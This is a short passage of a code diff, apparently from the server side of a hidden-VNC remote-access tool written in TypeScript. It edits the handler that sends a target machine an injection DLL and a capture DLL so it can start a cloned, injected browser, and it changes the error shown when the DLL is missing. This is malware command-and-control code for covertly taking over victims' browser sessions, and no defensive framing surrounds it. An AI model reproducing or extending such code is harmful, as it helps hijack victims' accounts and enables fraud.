logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected"); logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break; break;
} }
const captureDllBrowser = getCaptureDllBytes(); const captureDllBrowser = getCaptureDllBytes();
@@ -1152,6 +1155,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
cloneLite: payload.cloneLite === true, cloneLite: payload.cloneLite === true,
killIfRunning: payload.killIfRunning === true, killIfRunning: payload.killIfRunning === true,
dll: dllData, dll: dllData,
display: state.display ?? 0,
}; };
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser; if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload); sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);